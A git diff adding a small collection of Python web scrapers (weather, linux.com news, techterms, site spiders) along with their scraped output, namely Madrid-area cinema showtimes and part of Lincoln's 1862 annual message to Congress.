+      },
+      {
+        "showtimes": [
+          "16:30",
+          "18:30",
+          "20:35",
+          "22:35"
+        ],
+        "movie_name": "Café society V.O.S.E.",
+        "genere": "1hr 36min"
+      },
+      {
+        "showtimes": [
+          "17:00",
+          "19:30",
+          "22:00"
+        ],
+        "movie_name": "Ben-Hur (2016) V.O.S.E.",
+        "genere": "2hr 9min"
+      },
+      {
+        "showtimes": [
+          "16:10",
+          "18:10",
+          "20:10",
+          "22:10"
+        ],
+        "movie_name": "No respires V.O.S.E.",
+        "genere": "1hr 28min"
+      },
+      {
+        "showtimes": [
+          "16:00",
+          "18:15",
+          "20:30",
+          "22:45"
+        ],
+        "movie_name": "Los visitantes la lían V.O.S.E.",
+        "genere": "1hr 50min"
+      },
+      {
+        "showtimes": [
+          "16:05",
+          "18:00",
+          "19:55"
+        ],
+        "movie_name": "Mascotas V.O.S.E.",
+        "genere": "1hr 26min"
+      },
+      {
+        "showtimes": [
+          "16:00",
+          "18:05",
+          "20:15"
+        ],
+        "movie_name": "Kubo y las dos cuerdas mágicas V.O.S.E.",
+        "genere": "1hr 42min"
+      },
+      {
+        "showtimes": [
+          "19:15",
+          "21:45"
+        ],
+        "movie_name": "Star Trek: Más allá V.O.S.E.",
+        "genere": "1hr 40min"
+      },
+      {
+        "showtimes": [
+          "17:15",
+          "21:50"
+        ],
+        "movie_name": "Escuadrón suicida V.O.S.E.",
+        "genere": "2hr 10min"
+      },
+      {
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+      },
+      {
+        "showtimes": [
+          "16:40",
+          "19:10",
+          "21:40"
+        ],
+        "movie_name": "El elegido",
+        "genere": "2hr 2min"
+      },
+      {
+        "showtimes": [
+          "20:45"
+        ],
+        "movie_name": "Ben-Hur (2016) V.O.S.E.",
+        "genere": "2hr 9min"
+      },
+      {
+        "showtimes": [
+          "22:35"
+        ],
+        "movie_name": "Jason Bourne",
+        "genere": "2hr 0min"
+      },
+      {
+        "showtimes": [
+          "23:15"
+        ],
+        "movie_name": "La leyenda de Tarzán",
+        "genere": "1hr 50min"
+      },
+      {
+        "showtimes": [
+          "16:00"
+        ],
+        "movie_name": "Los visitantes la lían V.O.S.E.",
+        "genere": "1hr 50min"
+      },
+      {
+        "showtimes": [
+          "17:05"
+        ],
+        "movie_name": "Zipi y Zape y la isla del capitan",
+        "genere": "1hr 45min"
+      }
+    ],
+    "theater": "YELMO CINES PLAZA NORTE 2",
+    "address": "CTRA. DE BURGOS - SALIDA 19 - C C PLAZA NORTE II,S/N, San Sebastián de Los Reyes, Spain - 915 26 81 30"
+  },
+  {
+    "movieslist": [
+      {
+        "showtimes": [
+          "16:05",
+          "18:10",
+          "20:15",
+          "22:20"
+        ],
+        "movie_name": "Cuerpo de élite",
+        "genere": "1hr 37min"
+      },
+      {
+        "showtimes": [
+          "16:30",
+          "18:30",
+          "20:30",
+          "22:30"
+        ],
+        "movie_name": "No respires",
+        "genere": "1hr 28min"
+      },
+      {
+        "showtimes": [
+          "16:00",
+          "17:55",
+          "19:50",
+          "21:45"
+        ],
+        "movie_name": "Mascotas",
+        "genere": "1hr 26min"
+      },
+      {
+        "showtimes": [
+          "16:30",
+          "19:00",
+          "21:30",
+          "22:40"
+        ],
+        "movie_name": "Ben-Hur (2016)",
+        "genere": "2hr 9min"
+      },
+      {
+        "showtimes": [
+          "20:40",
+          "22:25"
+        ],
+        "movie_name": "Nunca apagues la luz",
+        "genere": "1hr 21min"
+      },
+      {
+        "showtimes": [
+          "16:20",
+          "18:25",
+          "20:20"
+        ],
+        "movie_name": "Siete vidas, este gato es un peligro",
+        "genere": "1hr 27min"
+      },
+      {
+        "showtimes": [
+          "18:45",
+          "20:45",
+          "22:45"
+        ],
+        "movie_name": "Café society",
+        "genere": "1hr 36min"
+      },
+      {
+        "showtimes": [
+          "17:20",
+          "19:40",
+          "21:55"
+        ],
+        "movie_name": "Los visitantes la lían",
+        "genere": "1hr 50min"
+      },
+      {
+        "showtimes": [
+          "16:00",
+          "18:05",
+          "20:10"
+        ],
+        "movie_name": "Kubo y las dos cuerdas mágicas",
+        "genere": "1hr 42min"
+      },
+      {
+        "showtimes": [
+          "18:20",
+          "22:20"
+        ],
+        "movie_name": "Criminal",
+        "genere": "1hr 53min"
+      },
+      {
+        "showtimes": [
+          "16:05",
+          "18:15",
+          "20:25"
+        ],
+        "movie_name": "Peter y el dragón",
+        "genere": "1hr 43min"
+      },
+      {
+        "showtimes": [
+          "16:40",
+          "19:10",
+          "21:40"
+        ],
+        "movie_name": "Escuadrón suicida",
+        "genere": "2hr 10min"
+      },
+      {
+        "showtimes": [
+          "16:10",
+          "18:40",
+          "21:15"
+        ],
+        "movie_name": "Star Trek: Más allá",
+        "genere": "1hr 40min"
+      },
+      {
+        "showtimes": [
+          "17:30",
+          "22:15"
+        ],
+        "movie_name": "Cazafantasmas",
+        "genere": "1hr 56min"
+      },
+      {
+        "showtimes": [
+          "22:35"
+        ],
+        "movie_name": "Lejos del mar",
+        "genere": "1hr 46min"
+      },
+      {
+        "showtimes": [
+          "16:25"
+        ],
+        "movie_name": "Heidi",
+        "genere": "1hr 50min"
+      },
+      {
+        "showtimes": [
+          "20:00"
+        ],
+        "movie_name": "Ben-Hur (2016) 3D",
+        "genere": "2hr 9min"
+      },
+      {
+        "showtimes": [
+          "16:05"
+        ],
+        "movie_name": "Zipi y Zape y la isla del capitan",
+        "genere": "1hr 45min"
+      }
+    ],
+    "theater": "YELMO CINES RIVAS FUTURA",
+    "address": "C/ MARIE CURIE PARQUE EMPRESARIAL RIVAS FUTURA,S/N, Rivas-vaciamadrid, Spain"
+  },
+  {
+    "movieslist": [
+      {
+        "showtimes": [
+          "18:00",
+          "20:05",
+          "22:10"
+        ],
+        "movie_name": "Cuerpo de élite",
+        "genere": "1hr 37min"
+      },
+      {
+        "showtimes": [
+          "18:00",
+          "20:15",
+          "22:20"
+        ],
+        "movie_name": "No respires",
+        "genere": "1hr 28min"
+      },
+      {
+        "showtimes": [
+          "12:00",
+          "16:00",
+          "18:00",
+          "20:00"
+        ],
+        "movie_name": "Mascotas",
+        "genere": "1hr 26min"
+      },
+      {
+        "showtimes": [
+          "12:00",
+          "15:50",
+          "18:00",
+          "20:00",
+          "22:00"
+        ],
+        "movie_name": "Ben-Hur (2016)",
+        "genere": "2hr 9min"
+      },
+      {
+        "showtimes": [
+          "22:00"
+        ],
+        "movie_name": "Nunca apagues la luz",
+        "genere": "1hr 21min"
+      },
+      {
+        "showtimes": [
+          "12:00",
+          "16:00",
+          "18:00",
+          "20:00"
+        ],
+        "movie_name": "Siete vidas, este gato es un peligro",
+        "genere": "1hr 27min"
+      },
+      {
+        "showtimes": [
+          "12:00",
+          "16:00",
+          "20:00",
+          "22:00"
+        ],
+        "movie_name": "Kubo y las dos cuerdas mágicas",
+        "genere": "1hr 42min"
+      },
+      {
+        "showtimes": [
+          "12:00",
+          "16:00",
+          "18:00"
+        ],
+        "movie_name": "Peter y el dragón",
+        "genere": "1hr 43min"
+      },
+      {
+        "showtimes": [
+          "22:00"
+        ],
+        "movie_name": "Escuadrón suicida",
+        "genere": "2hr 10min"
+      },
+      {
+        "showtimes": [
+          "12:00",
+          "16:00"
+        ],
+        "movie_name": "Cazafantasmas",
+        "genere": "1hr 56min"
+      }
+    ],
+    "theater": "RESTON CINEMA",
+    "address": "AVDA. MAR MEDITERRANEO, 3, Valdemoro, Spain - 918 08 48 43"
+  }
+]
\ No newline at end of file
diff --git a/pyscrapper/live_weather/script.py b/pyscrapper/live_weather/script.py
new file mode 100755
index 00000000..39cddf3e
--- /dev/null
+++ b/pyscrapper/live_weather/script.py
@@ -0,0 +1,101 @@
+'''
+Python class to scrap weather details for a city from the website
+www.weather-forecast.com
+
+Uses Mechanize to submit the city name in the form
+'''
+
+from pprint import pprint
+
+import mechanize
+from BeautifulSoup import BeautifulSoup
+
+
+class weather_scrap:
+
+	def __init__(self,city):
+		self.city = city
+		br = mechanize.Browser()
+		br.set_handle_robots(False)
+		br.set_handle_refresh(False)
+		br.addheaders= [("User-Agent","Mozilla/5.0")]
+		br.open("http://www.weather-forecast.com/")
+		br.select_form(nr = 0)
+		br.form['query'] = city
+		br.submit()
+
+		html = br.response().read()
+		self.soup = BeautifulSoup(html)
+	
+	def scrap(self):	
+		soup = self.soup
+		report = {}
+		
+		date_time_div = soup.find("img",attrs={"class":"print_only"})
+		report['date'] = str(date_time_div.parent.p.string.split(":")[1].strip().replace('\n', '').replace('           ',' '))
+		report['city'] = city
+
+		table = soup.find("table",attrs={"class":"forecasts"})
+		maxT = soup.find(text="Max.&nbsp;Temp").findNext("td")
+		minT = soup.find(text="Min.&nbsp;Temp").findNext("td")
+
+		morning = {}
+		afternoon = {}
+		night = {}
+		weather = [morning,afternoon,night]
+
+		for i,j in enumerate(weather):
+			weather[i]['summary'] = str(table.findAll("td",attrs={"class":"med wphrase"})[i].text)
+			weather[i]['freezing_level'] = str(soup.findAll("span",attrs={"class":"height"})[0].text) + "m"
+			
+			rain = str(soup.findAll("span",attrs={"class":"rain"})[i].text)
+			if rain == "-":
+				weather[i]['rain'] = "Not Available"
+			else:
+				weather[i]['rain'] = rain + " IN"
+
+			snow = str(soup.findAll("span",attrs={"class":"snow"})[i].text)
+			if snow == "-":
+				weather[i]['snow'] = "Not Available"
+			else:
+				weather[i]['snow'] = snow + " IN"
+			
+			sunrise = str(soup.findAll("td",attrs={"class":"sunrise"})[0].text)
+			sunset = str(soup.findAll("td",attrs={"class":"sunset"})[0].text)
+			if sunset == "-":
+				sunset = "Not Available"
+			if sunrise == "-":
+				sunrise = "Not Available"
+			weather[i]['sunset'] = sunset
+			weather[i]['sunrise'] = sunrise
+
+
+			if i == 0:
+				weather[i]['max_temp'] = str(maxT.text) + " C"
+				weather[i]['min_temp'] = str(minT.text) + " C"
+			if i == 1:
+				weather[i]['max_temp'] = str(maxT.findNext("td").text) + " C"
+				weather[i]['min_temp'] = str(minT.findNext("td").text) + " C"
+			if i == 2:
+				weather[i]['max_temp'] = str(maxT.findNext("td").findNext("td").text) + " C"
+				weather[i]['min_temp'] = str(minT.findNext("td").findNext("td").text) + " C"
+
+		report['weather_morning'] = weather[0]
+		report['weather_afternoon'] = weather[1]
+		report['weather_night'] = weather[2]
+
+		return report
+
+'''
+Change city name to get weather details for different cities.
+Enter a valid city name.
+'''
+if __name__ == '__main__':
+	city = "new york"
+	obj = weather_scrap(city)
+	response = obj.scrap()
+	print pprint(response)
+
+
+
+
diff --git a/pyscrapper/news_scrapping/linux_news.py b/pyscrapper/news_scrapping/linux_news.py
new file mode 100755
index 00000000..ce4a1160
--- /dev/null
+++ b/pyscrapper/news_scrapping/linux_news.py
@@ -0,0 +1,48 @@
+#!/usr/bin/python
+# encoding=utf-8
+
+import json
+import re
+from bs4 import BeautifulSoup
+
+import requests
+
+'''
+Python class to scrap latest news from linux.com
+'''
+
+
+class linux_news:
+    def __init__(self):
+        url = "https://www.linux.com/news/"
+        req = requests.get(url)
+        htmltext = req.text
+        # doc = html5lib.parse(htmltext, treebuilder="lxml")
+        self.soup = BeautifulSoup(htmltext, "lxml")
+
+    # Function which scraps the news in the given URL.
+    # Needs to be reworked as every website has a different tag structure
+    # Returns a list of dictionaries.
+    def scrap(self):
+        soup_object = self.soup
+        output = []
+
+        for tag in soup_object.findAll("div", {"class": re.compile("views-row")}):
+            dict = {}
+
+            dict['title'] = tag.find("h3").find("a").string
+            dict['resume'] = tag.find("div", attrs={"class": "article-list__summary"}).string
+            dict['from'] = tag.find("div", attrs={"class": "article-list__submitted"}).find("a").string
+            dict['link'] = "https://www.linux.com/" + tag.find("div", attrs={"class": "article-list__links"}).find(
+                "span").a.get('href')
+
+            output.append(dict)
+
+        return output
+
+
+if __name__ == '__main__':
+    scrap_object = linux_news()
+    response = scrap_object.scrap()
+    jsondump = json.dumps(response, indent=4, ensure_ascii=False).encode('utf8')
+    print(jsondump)
diff --git a/pyscrapper/selenium_crawler/TechTermSelenium.py b/pyscrapper/selenium_crawler/TechTermSelenium.py
new file mode 100755
index 00000000..6b8b3377
--- /dev/null
+++ b/pyscrapper/selenium_crawler/TechTermSelenium.py
@@ -0,0 +1,31 @@
+'''
+This script concatenates searches by iterating over the alphabet in a search box from a given URL.
+Results are stored as txt files.
+'''
+
+from string import ascii_lowercase
+
+from selenium import webdriver
+
+caselist = ascii_lowercase + "1"
+categories = []
+catfile = open("out/categories.txt", "w")
+fout = open("out/tech_words.txt", "w")
+browser = webdriver.Firefox()
+
+# Main loop
+for letter in ascii_lowercase:
+    print(letter)
+    url = 'http://www.techterms.com/list/' + letter
+    browser.get(url)
+    table = browser.find_element_by_tag_name('tbody')
+    for i, x in enumerate(table.find_elements_by_class_name('sorting_1')):
+        word = str(x.text.encode('utf-8').decode('ASCII', 'ignore'))
+        # category = table.find_element_by_xpath("//*/tbody/tr[" + str(i + 1) + "]/td[2]").text
+        # # category = table.find_element_by_xpath("//*[@id='alphatable']/tbody/tr[" + str(i + 1) + "]/td[2]").text
+        # category = str(category.encode('utf-8').decode('ASCII', 'ignore'))
+        # if category not in categories:
+        #     categories.append(category)
+        #     catfile.write(category + "\n")
+        fout.write(word + "\n")
+browser.close()
diff --git a/pyscrapper/selenium_crawler/out/categories.txt b/pyscrapper/selenium_crawler/out/categories.txt
new file mode 100755
index 00000000..8b137891
--- /dev/null
+++ b/pyscrapper/selenium_crawler/out/categories.txt
@@ -0,0 +1 @@
+
diff --git a/pyscrapper/spider_algorithm/spider.py b/pyscrapper/spider_algorithm/spider.py
new file mode 100755
index 00000000..2204b93e
--- /dev/null
+++ b/pyscrapper/spider_algorithm/spider.py
@@ -0,0 +1,31 @@
+'''
+Implementation of spider algorithm, fetches ALL the urls and links of a website.
+'''
+
+import urllib
+import urlparse
+
+from BeautifulSoup import BeautifulSoup
+
+url = "http://www.nytimes.com"
+urls = [url] # Stack of urls to scrape
+visited = [url] # Historic record of urls
+
+while len(urls):
+	try:
+		htmltext = urllib.urlopen(urls[0]).read()
+	except:
+		i = 1
+
+	soup = BeautifulSoup(htmltext)
+	urls.pop(0)
+	
+	for tag in soup.findAll('a',href=True):
+		tag['href'] = urlparse.urljoin(url,tag['href'])
+		if url in tag['href'] and tag['href'] not in visited:
+			urls.append(tag['href'])
+			visited.append(tag['href'])
+
+for i,j in enumerate(visited):
+	print visited[i]
+
diff --git a/pyscrapper/spider_algorithm/spider_mechanize.py b/pyscrapper/spider_algorithm/spider_mechanize.py
new file mode 100755
index 00000000..7b111aed
--- /dev/null
+++ b/pyscrapper/spider_algorithm/spider_mechanize.py
@@ -0,0 +1,27 @@
+'''
+Spider Algorithm using mechanize
+'''
+
+import urlparse
+
+import mechanize
+
+url = "http://www.shivambansal.com"
+br = mechanize.Browser()
+
+urls = [url]
+visited = [url]
+while len(urls):
+	try: 
+		br.open(urls[0])
+		urls.pop(0)
+		for link in br.links():
+			newurl = urlparse.urljoin(link.base_url,link.url)
+			newurl =  "http://" + urlparse.urlparse(newurl).hostname + urlparse.urlparse(newurl).path
+			if newurl not in visited and urlparse.urlparse(url).hostname in newurl:
+				urls.append(newurl)
+				visited.append(newurl)
+				print newurl
+	except:
+		print "error"
+		urls.pop(0)
\ No newline at end of file
diff --git a/pyscrapper/stateofunion/ScrapedData/Abraham LincolnDecember 1, 1862.json b/pyscrapper/stateofunion/ScrapedData/Abraham LincolnDecember 1, 1862.json
new file mode 100755
index 00000000..13ea80c3
--- /dev/null
+++ b/pyscrapper/stateofunion/ScrapedData/Abraham LincolnDecember 1, 1862.json	
@@ -0,0 +1,5 @@
+{
+    "date": "December 1, 1862", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:Since your last annual assembling another year of health and bountiful\nharvests has passed, and while it has not pleased the Almighty to bless\nus with a return of peace, we can but press on, guided by the best\nlight He gives us, trusting that in His own good time and wise way all\nwill yet be well.The correspondence touching foreign affairs which has taken place\nduring the last year is herewith submitted, in virtual compliance with\na request to that effect made by the House of Representatives near the\nclose of the last session of Congress. If the condition of our\nrelations with other nations is less gratifying than it has usually\nbeen at former periods, it is certainly more satisfactory than a nation\nso unhappily distracted as we are might reasonably have apprehended. In\nthe month of June last there were some grounds to expect that the\nmaritime powers which at the beginning of our domestic difficulties so\nunwisely and unnecessarily, as we think, recognized the insurgents as a\nbelligerent would soon recede from that position, which has proved only\nless injurious to themselves than to our own country. But the temporary\nreverses which afterwards befell the national arms, and which were\nexaggerated by our own disloyal citizens abroad, have hitherto delayed\nthat act of simple justice.The civil war, which has so radically changed for the moment the\noccupations and habits of the American people, has necessarily\ndisturbed the social condition and affected very deeply the prosperity\nof the nations with which we have carried on a commerce that has been\nsteadily increasing throughout a period of half a century. It has at\nthe same time excited political ambitions and apprehensions which have\nproduced a profound agitation throughout the civilized world. In this\nunusual agitation we have forborne from taking part in any controversy\nbetween foreign states and between parties or factions in such states.\nWe have attempted no propagandism and acknowledged no revolution. But\nwe have left to every nation the exclusive conduct and management of\nits own affairs. Our struggle has been, of course, contemplated by\nforeign nations with reference less to its own merits than to its\nsupposed and often exaggerated effects and consequences resulting to\nthose nations themselves. Nevertheless, complaint on the part of this\nGovernment, even if it were just, would certainly be unwise. The treaty\nwith Great Britain for the suppression of the slave trade has been put\ninto operation with a good prospect of complete success. It is an\noccasion of special pleasure to acknowledge that the execution of it on\nthe part of Her Majesty's Government has been marked with a jealous\nrespect for the authority of the United States and the rights of their\nmoral and loyal citizens.The convention with Hanover for the abolition of the Stade dues has\nbeen carried into full effect under the act of Congress for that\npurpose. A blockade of 3,000 miles of seacoast could not be established\nand vigorously enforced in a season of great commercial activity like\nthe present without committing occasional mistakes and inflicting\nunintentional injuries upon foreign nations and their subjects. A civil\nwar occurring in a country, where foreigners reside and carry on trade\nunder treaty stipulations is necessarily fruitful of complaints of the\nviolation of neutral rights. All such collisions tend to excite\nmisapprehensions, and possibly to produce mutual reclamations between\nnations which have a common interest in preserving peace and\nfriendship. In clear cases of these kinds I have so far as possible\nheard and redressed complaints which have been presented by friendly\npowers. There is still, however, a large and an augmenting number of\ndoubtful cases upon which the Government is unable to agree with the\ngovernments whose protection is demanded by the claimants. There are,\nmoreover, many cases in which the United States or their citizens\nsuffer wrongs from the naval or military authorities of foreign nations\nwhich the governments of those states are not at once prepared to\nredress. I have proposed to some of the foreign states thus interested\nmutual conventions to examine and adjust such complaints. This\nproposition has been made especially to Great Britain, to France, to\nSpain, and to Prussia. In each case it has been kindly received, but\nhas not yet been formally adopted.I deem it my duty to recommend an appropriation in behalf of the owners\nof the Norwegian bark Admiral P. Tordenskiold, which vessel was in May,\n1861, prevented by the commander of the blockading force off Charleston\nfrom leaving that port with cargo, notwithstanding a similar privilege\nhad shortly before been granted to an English vessel. I have directed\nthe Secretary of State to cause the papers in the case to be\ncommunicated to the proper committees.Applications have been made to me by many free Americans of African\ndescent to favor their emigration, with a view to such colonization as\nwas contemplated in recent acts of Congress. Other parties, at home and\nabroad--some from interested motives, others upon patriotic\nconsiderations, and still others influenced by philanthropic\nsentiments--have suggested similar measures, while, on the other hand,\nseveral of the Spanish American Republics have protested against the\nsending of such colonies to their respective territories. Under these\ncircumstances I have declined to move any such colony to any state\nwithout first obtaining the consent of its government, with an\nagreement on its part to receive and protect such emigrants in all the\nrights of freemen; and I have at the same time offered to the several\nStates situated within the Tropics, or having colonies there, to\nnegotiate with them, subject to the advice and consent of the Senate,\nto favor the voluntary emigration of persons of that class to their\nrespective territories, upon conditions which shall be equal, just, and\nhumane. Liberia and Hayti are as yet the only countries to which\ncolonists of African descent from here could go with certainty of being\nreceived and adopted as citizens; and I regret to say such persons\ncontemplating colonization do not seem so willing to migrate to those\ncountries as to some others, nor so willing as I think their interest\ndemands. I believe, however, opinion among them in this respect is\nimproving, and that ere long there will be an augmented and\nconsiderable migration to both these countries from the United States.The new commercial treaty between the United States and the Sultan of\nTurkey has been carried into execution.A commercial and consular treaty has been negotiated, subject to the\nSenate's consent, with Liberia, and a similar negotiation is now\npending with the Republic of Hayti. A considerable improvement of the\nnational commerce is expected to result from these measures. Our\nrelations with Great Britain, France, Spain, Portugal, Russia, Prussia,\nDenmark, Sweden, Austria, the Netherlands, Italy, Rome, and the other\nEuropean States remain undisturbed. Very favorable relations also\ncontinue to be maintained with Turkey, Morocco, China, and Japan.During the last year there has not only been no change of our previous\nrelations with the independent States of our own continent, but more\nfriendly sentiments than have heretofore existed are believed to be\nentertained by these neighbors, whose safety and progress are so\nintimately connected with our own. This statement especially applies to\nMexico, Nicaragua, Costa Rica, Honduras, Peru, and Chile. The\ncommission under the convention with the Republic of New Granada closed\nits session without having audited and passed upon all the claims which\nwere submitted to it. A proposition is pending to revive the\nconvention, that it may be able to do more complete justice. The joint\ncommission between the United States and the Republic of Costa Rica has\ncompleted its labors and submitted its report. I have favored the\nproject for connecting the United States with Europe by an Atlantic\ntelegraph, and a similar project to extend the telegraph from San\nFrancisco to connect by a Pacific telegraph with the line which is\nbeing extended across the Russian Empire. The Territories of the United\nStates, with unimportant exceptions have remained undisturbed by the\ncivil war; and they are exhibiting such evidence of prosperity as\njustifies an expectation that some of them will soon be in a condition\nto be organized as States and be constitutionally admitted into the\nFederal Union.The immense mineral resources of some of those Territories ought to be\ndeveloped as rapidly as possible. Every step in that direction would\nhave a tendency to improve the revenues of the Government and diminish\nthe burdens of the people. It is worthy of your serious consideration\nwhether some extraordinary measures to promote that end can not be\nadopted. The means which suggests itself as most likely to be effective\nis a scientific exploration of the mineral regions in those Territories\nwith a view to the publication of its results at home and in foreign\ncountries--results which can not fail to be auspicious.The condition of the finances will claim your most diligent\nconsideration. The vast expenditures incident to the military and naval\noperations required for the suppression of the rebellion have hitherto\nbeen met with a promptitude and certainty unusual in similar\ncircumstances, and the public credit has been fully maintained. The\ncontinuance of the war, however, and the increased disbursements made\nnecessary by the augmented forces now in the field demand your best\nreflections as to the best modes of providing the necessary revenue\nwithout injury to business and with the least possible burdens upon\nlabor.The suspension of specie payments by the banks soon after the\ncommencement of your last session made large issues of United States\nnotes unavoidable. In no other way could the payment of the troops and\nthe satisfaction of other just demands be so economically or so well\nprovided for. The judicious legislation of Congress, securing the\nreceivability of these notes for loans and internal duties and making\nthem a legal tender for other debts, has made them an universal\ncurrency, and has satisfied, partially at least, and for the time, the\nlong-felt want of an uniform circulating medium, saving thereby to the\npeople immense sums in discounts and exchanges.A return to specie payments, however, at the earliest period compatible\nwith due regard to all interests concerned should ever be kept in view.\nFluctuations in the value of currency are always injurious, and to\nreduce these fluctuations to the lowest possible point will always be a\nleading purpose in wise legislation. Convertibility, prompt and certain\nconvertibility, into coin is generally acknowledged to be the best and\nsurest safeguard against them; and it is extremely doubtful whether a\ncirculation of United States notes payable in coin and sufficiently\nlarge for the wants of the people can be permanently, usefully, and\nsafely maintained.Is there, then, any other mode in which the necessary provision for the\npublic wants can be made and the great advantages of a safe and uniform\ncurrency secured?I know of none which promises so certain results and is at the same\ntime so unobjectionable as the organization of banking associations,\nunder a general act of Congress, well guarded in its provisions. To\nsuch associations the Government might furnish circulating notes, on\nthe security of United States bonds deposited in the Treasury. These\nnotes, prepared under the supervision of proper officers, being uniform\nin appearance and security and convertible always into coin, would at\nonce protect labor against the evils of a vicious currency and\nfacilitate commerce by cheap and safe exchanges.A moderate reservation from the interest on the bonds would compensate\nthe United States for the preparation and distribution of the notes and\na general supervision of the system, and would lighten the burden of\nthat part of the public debt employed as securities. The public credit,\nmoreover, would be greatly improved and the negotiation of new loans\ngreatly facilitated by the steady market demand for Government bonds\nwhich the adoption of the proposed system would create. It is an\nadditional recommendation of the measure, of considerable weight, in my\njudgment, that it would reconcile as far as possible all existing\ninterests by the opportunity offered to existing institutions to\nreorganize under the act, substituting only the secured uniform\nnational circulation for the local and various circulation, secured and\nunsecured, now issued by them.The receipts into the treasury from all sources, including loans and\nbalance from the preceding year, for the fiscal year ending on the 30th\nJune, 1862, were $583,885,247.06, of which sum $49,056,397.62 were\nderived from customs; $1,795,331.73 from the direct tax; from public\nlands, $152,203.77; from miscellaneous sources, $931,787.64; from loans\nin all forms, $529,692,460.50. The remainder, :$2,257,065.80, was the\nbalance from last year.The disbursements during the same period were: For Congressional,\nexecutive, and judicial purposes, $5,939.009.29; for foreign\nintercourse, $1,339,710.35; for miscellaneous expenses, including the\nmints, loans, Post-Office deficiencies, collection of revenue, and\nother like charges, $14,129,771.50; for expenses under the Interior\nDepartment, 985.52; under the War Department, $394,368,407.36; under\nthe Navy Department, $42,674,569.69; for interest on public debt,\n$13,190,324.45; and for payment of public debt, including reimbursement\nof temporary loan and redemptions, $96,096,922.09; making an aggregate\nof $570,841,700.25, and leaving a balance in the Treasury on the 1st\nday of July, 1862, of $13,043,546.81.It should be observed that the sum of $96,096,922.09, expended for\nreimbursements and redemption of public debt, being included also in\nthe loans made, may be properly deducted both from receipts and\nexpenditures, leaving the actual receipts for the year $487,788,324.97,\nand the expenditures $474,744,778.16.Other information on the subject of the finances will be found in the\nreport of the Secretary of the Treasury, to whose statements and views\nI invite your most candid and considerate attention.The reports of the Secretaries of War and of the Navy are herewith\ntransmitted. These reports, though lengthy, are scarcely more than\nbrief abstracts of the very numerous and extensive transactions and\noperations conducted through those Departments. Nor could I give a\nsummary of them here upon any principle which would admit of its being\nmuch shorter than the reports themselves. I therefore content myself\nwith laying the reports before you and asking your attention to them.It gives me pleasure to report a decided improvement in the financial\ncondition of the Post-Office Department as compared with several\npreceding years. The receipts for the fiscal year 1861 amounted to\n$8,349,296.40, which embraced the revenue from all the States of the\nUnion for three quarters of that year. Notwithstanding the cessation of\nrevenue from the so-called seceded States during the last fiscal year,\nthe increase of the correspondence of the loyal States has been\nsufficient to produce a revenue during the same year of $8,299,820.90,\nbeing only $50,000 less than was derived from all the States of the\nUnion during the previous year. The expenditures show a still more\nfavorable result. The amount expended in 1861 was $13,606,759.11. For\nthe last year the amount has been reduced to $11,125,364.13, showing a\ndecrease of about $2,481,000 in the expenditures as compared with the\npreceding year, and about $3,750,000 as compared with the fiscal year\n1860. The deficiency in the Department for the previous year was\n$4,551,966.98. For the last fiscal year it was reduced to\n$2,112,814.57. These favorable results are in part owing to the\ncessation of mail service in the insurrectionary States and in part to\na careful review of all expenditures in that Department in the interest\nof economy. The efficiency of the postal service, it is believed, has\nalso been much improved. The Postmaster-General has also opened a\ncorrespondence through the Department of State with foreign governments\nproposing a convention of postal representatives for the purpose of\nsimplifying the rates of foreign postage and to expedite the foreign\nmails. This proposition, equally important to our adopted citizens and\nto the commercial interests of this country, has been favorably\nentertained and agreed to by all the governments from whom replies have\nbeen received.I ask the attention of Congress to the suggestions of the\nPostmaster-General in his report respecting the further legislation\nrequired, in his opinion, for the benefit of the postal service.The Secretary of the Interior reports as follows in regard to the\npublic lands: The public lands have ceased to be a source of revenue.\nFrom the 1st July, 1861, to the 30th September, 1862, the entire cash\nreceipts from the sale of lands were $137,476.26--a sum much less than\nthe expenses of our land system during the same period. The homestead\nlaw, which will take effect on the 1st of January next, offers such\ninducements to settlers that sales for cash can not be expected to an\nextent sufficient to meet the expenses of the General Land Office and\nthe cost of surveying and bringing the land into market.The discrepancy between the sum here stated as arising from the sales\nof the public lands and the sum derived from the same source as\nreported from the Treasury Department arises, as I understand, from the\nfact that the periods of time, though apparently, were not really\ncoincident at the beginning point, the Treasury report including a\nconsiderable sum now which had previously been reported from the\nInterior, sufficiently large to greatly overreach the sum derived from\nthe three months now reported upon by the Interior and not by the\nTreasury. The Indian tribes upon our frontiers have during the past\nyear manifested a spirit of insubordination, and at several points have\nengaged in open hostilities against the white settlements in their\nvicinity. The tribes occupying the Indian country south of Kansas\nrenounced their allegiance to the United States and entered into\ntreaties with the insurgents. Those who remained loyal to the United\nStates were driven from the country. The chief of the Cherokees has\nvisited this city for the purpose of restoring the former relations of\nthe tribe with the United States. He alleges that they were constrained\nby superior force to enter into treaties with the insurgents, and that\nthe United States neglected to furnish the protection which their\ntreaty stipulations required.In the month of August last the Sioux Indians in Minnesota attacked the\nsettlements in their vicinity with extreme ferocity, killing\nindiscriminately men, women, and children. This attack was wholly\nunexpected, and therefore no means of defense had been prodded. It is\nestimated that not less than 800 persons were killed by the Indians,\nand a large amount of property was destroyed. How this outbreak was\ninduced is not definitely known, and suspicions, which may be unjust,\nneed not to be stated. Information was received by the Indian Bureau\nfrom different sources about the time hostilities were commenced that a\nsimultaneous attack was to be made upon the white settlements by all\nthe tribes between the Mississippi River and the Rocky Mountains. The\nState of Minnesota has suffered great injury from this Indian war. A\nlarge portion of her territory has been depopulated, and a severe loss\nhas been sustained by the destruction of property. The people of that\nState manifest much anxiety for the removal of the tribes beyond the\nlimits of the State as a guaranty against future hostilities. The\nCommissioner of Indian Affairs will furnish full details. I submit for\nyour especial consideration whether our Indian system shall not be\nremodeled. Many wise and good men have impressed me with the belief\nthat this can be profitably done.I submit a statement of the proceedings of commissioners, which shows\nthe progress that has been made in the enterprise of constructing the\nPacific Railroad. And this suggests the earliest completion of this\nroad, and also the favorable action of Congress upon the projects now\npending before them for enlarging the capacities of the great canals in\nNew York and Illinois, as being of vital and rapidly increasing\nimportance to the whole nation, and especially to the vast interior\nregion hereinafter to be noticed at some greater length. I purpose\nhaving prepared and laid before you at an early day some interesting\nand valuable statistical information upon this subject. The military\nand commercial importance of enlarging the Illinois and Michigan Canal\nand improving the Illinois River is presented in the report of Colonel\nWebster to the Secretary of War, and now transmitted to Congress. I\nrespectfully ask attention to it.To carry out the provisions of the act of Congress of the 15th of May\nlast, I have caused the Department of Agriculture of the United States\nto be organized.The Commissioner informs me that within the period of a few months this\nDepartment has established an extensive system of correspondence and\nexchanges, both at home and abroad, which promises to effect highly\nbeneficial results in the development of a correct knowledge of recent\nimprovements in agriculture, in the introduction of new products, and\nin the collection of the agricultural statistics of the different\nStates.Also, that it will soon 